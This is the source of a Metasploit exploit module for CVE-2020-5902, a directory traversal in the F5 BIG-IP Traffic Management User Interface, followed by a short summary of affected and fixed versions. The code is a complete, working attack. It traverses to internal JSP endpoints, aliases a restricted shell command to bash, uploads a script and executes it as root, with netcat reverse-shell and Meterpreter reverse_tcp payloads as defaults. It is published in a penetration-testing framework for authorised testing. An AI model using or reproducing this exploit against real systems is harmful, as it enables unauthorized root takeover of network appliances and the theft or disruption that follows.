This Metasploit module exploits a directory traversal in F5’s BIG-IP Traffic Management User Interface (TMUI) to upload a shell script and execute it as the Unix root user. Unix shell access is obtained by escaping the restricted Traffic Management Shell (TMSH). The escape may not be reliable, and you may have to run the exploit multiple times. Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2, 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4. Tested against the VMware OVA release of 14.1.2.
advisories | CVE-2020-5902
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Deprecated
moved_from 'exploit/linux/http/f5_bigip_tmui_rce'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE',
'Description' => %q{
This module exploits a directory traversal in F5's BIG-IP Traffic
Management User Interface (TMUI) to upload a shell script and execute
it as the Unix root user.
Unix shell access is obtained by escaping the restricted Traffic
Management Shell (TMSH). The escape may not be reliable, and you may
have to run the exploit multiple times. Sorry!
Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,
15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced
in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.
Tested against the VMware OVA release of 14.1.2.
},
'Author' => [
'Mikhail Klyuchnikov', # Discovery
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2020-5902'],
['URL', 'https://support.f5.com/csp/article/K52145254'],
['URL', 'https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/']
],
'DisclosureDate' => '2020-06-30', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 5
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS], # May disrupt the service
'Reliability' => [UNRELIABLE_SESSION], # Seems a little finicky
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])
end
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => dir_trav('/tmui/locallb/workspace/fileRead.jsp'),
'vars_post' => {
'fileName' => '/etc/f5-release'
}
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
unless res.code == 200 && /BIG-IP release (?<version>[d.]+)/ =~ res.body
return CheckCode::Safe('Target did not respond with BIG-IP version.')
end
# If we got here, the directory traversal was successful
CheckCode::Vulnerable("Target is running BIG-IP #{version}.")
end
def exploit
create_alias
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(temp: datastore['WritableDir'])
end
ensure
delete_alias if @created_alias
end
def create_alias
print_status('Creating alias list=bash')
res = send_request_cgi(
'method' => 'POST',
'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),
'vars_post' => {
'command' => 'create cli alias private list command bash'
}
)
if res.nil? || (error = parse_error(res))
case error
when /private "list" (list) already exists/
print_error('Alias "list" already exists, deleting it')
delete_alias
# Try to create the alias again
return create_alias
when /java.lang.NullPointerException/
print_error('Encountered java.lang.NullPointerException, retrying!')
# XXX: Try to create the alias until we're successful
return create_alias
end
fail_with(Failure::UnexpectedReply,
"Failed to create alias list=bash#{error}")
end
@created_alias = true
print_good('Successfully created alias list=bash')
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
upload_script(cmd)
execute_script
end
def upload_script(cmd)
print_status("Uploading #{script_path}")
res = send_request_cgi(
'method' => 'POST',
'uri' => dir_trav('/tmui/locallb/workspace/fileSave.jsp'),
'vars_post' => {
'fileName' => script_path,
'content' => cmd
}
)
if res.nil? || (error = parse_error(res))
fail_with(Failure::UnexpectedReply,
"Failed to upload #{script_path}#{error}")
end
register_file_for_cleanup(script_path)
print_good("Successfully uploaded #{script_path}")
end
def execute_script
print_status("Executing #{script_path}")
res = send_request_cgi({
'method' => 'POST',
'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),
'vars_post' => {
'command' => "list #{script_path}"
}
}, 3.5)
# No response may mean the service is blocking on payload execution
return unless res && (error = parse_error(res))
case error
when /unexpected argument/
print_error('Alias "list" does not exist, attempting to create it again')
create_alias
# Try to execute the script again... smdh
return execute_script
when /java.lang.NullPointerException/
print_error('Encountered java.lang.NullPointerException, retrying!')
# XXX: Try to execute the script until we're successful
return execute_script
end
print_error("Failed to execute #{script_path}#{error}")
end
def delete_alias
print_status('Deleting alias list=bash')
res = send_request_cgi(
'method' => 'POST',
'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),
'vars_post' => {
'command' => 'delete cli alias private list'
}
)
if res.nil? || (error = parse_error(res))
case error
when /user alias (list admin) was not found/
print_good('Alias "list" does not exist or was already deleted')
return
when /java.lang.NullPointerException/
print_error('Encountered java.lang.NullPointerException, retrying!')
# XXX: Try to delete the alias until we're successful
return delete_alias
end
print_warning("Failed to delete alias list=bash#{error}")
return
end
print_good('Successfully deleted alias list=bash')
end
def parse_error(res)
return unless res
error =
case res.code
when 200
res.get_json_document['error']
when 500
# This is usually a java.lang.NullPointerException stack trace
res.get_html_document.at('//pre')&.text
else
res.body
end
return if error.blank?
":n#{error.strip}"
end
def dir_trav(path)
# PoC courtesy of the referenced F5 advisory: <LocationMatch ".*..;.*">
normalize_uri(target_uri.path, '/tmui/login.jsp/..;', path)
end
def script_path
@script_path ||=
normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42))
end
end
